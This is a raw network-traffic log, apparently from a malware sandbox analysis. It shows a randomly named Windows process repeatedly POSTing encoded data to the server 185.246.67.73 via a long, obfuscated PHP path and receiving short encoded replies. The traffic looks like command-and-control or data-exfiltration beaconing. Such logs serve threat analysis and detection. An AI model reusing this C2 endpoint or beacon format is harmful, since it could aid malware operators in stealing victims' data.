16	192.168.2.4	49759	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:43.525492907 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:27:43.872566938 CET	1904	OUT	Data Raw: 50 5c 46 56 5e 42 50 52 54 5e 50 59 5b 50 59 5e 59 5a 59 5e 57 55 51 5b 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: P\FV^BPRT^PY[PY^YZY^WUQ[YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.31:9[" -X %,%-316\%;X7,+.; ]!![
Dec 8, 2024 15:27:44.864912987 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:45.100759983 CET	380	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:44 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 13 3a 0e 27 26 33 1d 2a 3a 08 59 25 12 02 00 25 38 06 04 29 30 28 04 25 39 2c 19 3b 03 33 51 23 05 2c 5e 33 03 30 1e 22 2f 24 0f 39 02 20 5a 06 10 21 5f 25 01 34 00 28 2b 3d 5e 25 5e 3e 1c 36 24 37 44 33 13 0a 0b 3d 3a 36 5b 34 2f 3c 0d 26 2e 35 11 2d 0b 2e 5d 25 56 37 57 26 0c 2c 55 0f 1f 26 50 33 0c 2f 55 34 37 26 1c 21 30 37 14 26 25 07 0e 21 3f 30 57 28 13 2c 59 2a 22 05 02 20 22 2f 13 39 2b 2d 5e 29 1c 02 09 33 06 20 53 2a 02 2e 54 0d 33 56 52 Data Ascii: :'&3:Y%%8)0(%9,;3Q#,^30"/$9 Z!_%4(+=^%^>6$7D3=:6[4/<&.5-.]%V7W&,U&P3/U47&!07&%!?0W(,Y" "/9+-^)3 S*.T3VR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49760	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:43.661802053 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:27:44.013179064 CET	2584	OUT	Data Raw: 55 59 43 50 5b 43 55 53 54 5e 50 59 5b 50 59 52 59 5b 59 5b 57 50 51 5f 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: UYCP[CUST^PY[PYRY[Y[WPQ_YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-35X2_9!3![-6 68+0&&+1#,;];+ ]!![
Dec 8, 2024 15:27:44.988032103 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:45.224329948 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49761	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:45.455959082 CET	538	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue
Dec 8, 2024 15:27:45.810146093 CET	2584	OUT	Data Raw: 55 5f 46 51 5e 45 50 52 54 5e 50 59 5b 5f 59 5a 59 54 59 5c 57 5d 51 57 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: U_FQ^EPRT^PY[_YZYTY\W]QWYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.[0=6&63-%";&Z;8 3=<%#*]1: <, ]!![
Dec 8, 2024 15:27:46.871999979 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:47.104183912 CET	151	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49762	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:47.348248005 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:27:47.700836897 CET	2584	OUT	Data Raw: 55 58 43 56 5b 40 50 56 54 5e 50 59 5b 5c 59 5e 59 58 59 58 57 56 51 5f 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: UXCV[@PVT^PY[\Y^YXYXWVQ_YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.X3=1[29=!U).*^#"[88;'=,&V)2+!",+^;; ]!![ 0
Dec 8, 2024 15:27:48.672621965 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:48.912297010 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49763	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:49.144603014 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:27:49.497684956 CET	2584	OUT	Data Raw: 50 59 46 53 5b 44 55 55 54 5e 50 59 5b 51 59 58 59 54 59 5d 57 50 51 5f 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PYFS[DUUT^PY[QYXYTY]WPQ_YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-0>1*5#3&.$5"86;8' _%0"1"Y <4;; ]!![

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49764	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:50.227385044 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:27:50.576031923 CET	1904	OUT	Data Raw: 50 5f 46 54 5b 46 55 5f 54 5e 50 59 5b 5c 59 53 59 5f 59 5e 57 50 51 5b 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: P_FT[FU_T^PY[\YSY_Y^WPQ[YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.X0=1[&:&509\.$&_#8*;(U'% ^%! <8 ]!![ 0
Dec 8, 2024 15:27:51.552993059 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:51.788412094 CET	380	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:51 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 13 39 55 26 1c 30 0f 3d 04 08 58 31 02 0d 5e 30 38 3b 17 29 30 0a 04 33 39 0d 05 2c 04 01 56 37 05 30 58 30 04 27 02 36 3f 27 53 2e 12 20 5a 06 10 21 14 24 2c 2b 10 3c 02 22 06 25 16 39 0a 35 37 1a 1c 27 3e 3f 53 29 14 26 5d 21 3c 27 54 32 03 0f 1c 2e 35 0b 01 31 0e 0a 0d 25 0c 2c 55 0f 1f 25 09 30 0c 05 53 20 37 25 0e 20 20 09 5b 25 0b 31 08 23 3c 24 50 3f 3d 24 11 3c 1c 3b 04 23 0b 3f 58 3a 3b 39 58 2a 31 38 0d 25 3c 20 53 2a 02 2e 54 0d 33 56 52 Data Ascii: 9U&0=X1^08;)039,V70X0'6?'S. Z!$,+<"%957'>?S)&]!<'T2.51%,U%0S 7% [%1#<$P?=$<;#?X:;9X18%< S.T3VR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49765	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:50.348189116 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:27:50.700922012 CET	2584	OUT	Data Raw: 55 5b 43 5c 5e 40 55 50 54 5e 50 59 5b 5f 59 5a 59 5e 59 5b 57 52 51 5c 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: U[C\^@UPT^PY[_YZY^Y[WRQ\YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.^3[>2!"6.6^";583$[%022 </+ ]!![
Dec 8, 2024 15:27:51.685236931 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:51.920366049 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49766	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:52.160321951 CET	538	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue
Dec 8, 2024 15:27:52.513241053 CET	2584	OUT	Data Raw: 55 5e 43 5c 5b 48 55 5f 54 5e 50 59 5b 5c 59 52 59 58 59 59 57 5d 51 5f 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: U^C\[HU_T^PY[\YRYXYYW]Q_YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y._'%*9!!,')4=/$T$%Y18"7/<.+ ]!![ 0
Dec 8, 2024 15:27:53.484991074 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:53.720293045 CET	151	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49767	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:53.996576071 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2580 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:27:54.384280920 CET	2580	OUT	Data Raw: 50 5f 46 56 5b 49 55 51 54 5e 50 59 5b 58 59 5c 59 5c 59 57 57 54 51 57 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: P_FV[IUQT^PY[XY\Y\YWWTQWYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-$=Z1*5]6#,$6Y#9,(+'&0.%#8 ]!![
Dec 8, 2024 15:27:55.315921068 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:55.548507929 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49770	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:55.786500931 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:27:56.138292074 CET	2584	OUT	Data Raw: 50 58 43 55 5b 49 55 52 54 5e 50 59 5b 50 59 58 59 55 59 5c 57 51 51 5e 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PXCU[IURT^PY[PYXYUY\WQQ^YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-'.1%9!Y!>.*X ._;;#0>X2>'(97<'[8 ]!![
Dec 8, 2024 15:27:57.123464108 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:57.356297970 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49771	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:57.359291077 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:27:57.716389894 CET	1904	OUT	Data Raw: 55 59 46 56 5e 47 50 54 54 5e 50 59 5b 5a 59 5b 59 55 59 5c 57 52 51 5b 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: UYFV^GPTT^PY[ZY[YUY\WRQ[YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y._'[1)694:^ 898;,R$X$&1&:#Z8,; ]!![ (
Dec 8, 2024 15:27:58.689357996 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:58.924663067 CET	380	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 13 39 1d 32 35 05 1d 2a 2a 21 03 31 12 2c 07 27 16 01 15 29 1e 38 06 27 3a 38 5a 2c 39 28 0d 20 02 20 1b 30 04 3b 03 36 12 06 0e 2c 38 20 5a 06 10 21 5d 25 3c 23 12 3f 2b 0b 5a 24 38 2d 42 21 27 20 19 27 2d 34 0a 29 3a 29 07 23 3f 2f 55 26 03 08 0e 2e 1c 36 5f 27 23 33 13 25 36 2c 55 0f 1f 26 50 27 1c 0d 55 22 27 39 0f 22 09 20 02 32 43 2e 56 35 11 3f 0e 3c 04 37 03 3f 32 27 04 23 31 3f 10 3a 3b 00 00 3d 0c 20 08 30 2c 20 53 2a 02 2e 54 0d 33 56 52 Data Ascii: 925*!1,')8':8Z,9( 0;6,8 Z!]%<#?+Z$8-B!' '-4):)#?/U&.6_'#3%6,U&P'U"'9" 2C.V5?<7?2'#1?:;= 0, S.T3VR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49772	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:57.522468090 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:27:57.872934103 CET	2584	OUT	Data Raw: 50 59 43 50 5b 43 55 5e 54 5e 50 59 5b 5b 59 5d 59 59 59 59 57 5c 51 5d 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PYCP[CU^T^PY[[Y]YYYYW\Q]YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.Z$=^&)5Z6369:\"+98<R'(%05& /(/+ ]!![ ,
Dec 8, 2024 15:27:58.853537083 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:59.088303089 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
